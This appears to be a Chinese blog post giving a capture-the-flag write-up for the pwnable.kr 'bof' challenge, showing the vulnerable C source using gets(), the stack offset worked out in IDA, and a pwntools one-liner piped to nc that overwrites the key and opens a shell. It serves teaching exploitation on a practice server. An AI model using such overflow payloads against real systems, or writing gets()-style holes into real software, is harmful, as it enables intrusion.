zoukankan      html  css  js  c++  java
  • bof

     题目给出了一个可执行文件和一个.c文件

    打开.c可以看到源程序:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);    // smash me!
        if(key == 0xcafebabe){
            system("/bin/sh");
        }
        else{
            printf("Nah..
    ");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }

    需要让key==0xcafebabe,这里key是子函数的参数,被指定好,需要我们修改才可以成功。

    函数调用时栈结构:

    函数中有gets函数,可以由我们控制,输出长数据以至覆盖掉key,达到修改key目的。

    问题变成需要多长数据?

    用ida打开可执行文件,是32位的ida。

    a1变量对应参数key,处于bp+0x8

    s变量对应变量overflow数组,s处于bp-0x2c

    二者之间差0x34,于是我们可以输入0x34的数据,然后到达key的地址,然后填入0xcafebabe

    pwntools工具的p32()可以直接将数据0xcafebabe变为合适的数据

    构造数据:

    52*‘a’ + p32(0xcafebabe)

    发送:

    python -c "from pwn import *;print 52*'a' + p32(0xcafebabe)" | nc pwnable.kr 9000

    然后一直一闪而过,貌似没成功,其实是sh弹出来然后一闪而过

    加cat -,是为了防止shell一闪而过,保持与shell的连接。

    显示的就是sh,直接输入命令即可

     

  • 相关阅读:
    设计模式
    jQuery回到顶部插件jQuery GoUp
    CentOS7+Tomcat 生产系统部署
    iOS 时间戳转换为时间
    iOS开发系列--Swift 3.0
    IOS
    iOS之宏定义#define
    #define和预编译指令
    iOS宏定义的使用与规范
    ios十进制、十六进制字符串,byte,data等之间的转换
  • 原文地址:https://www.cnblogs.com/gudygudy/p/10709846.html
Copyright © 2011-2022 走看看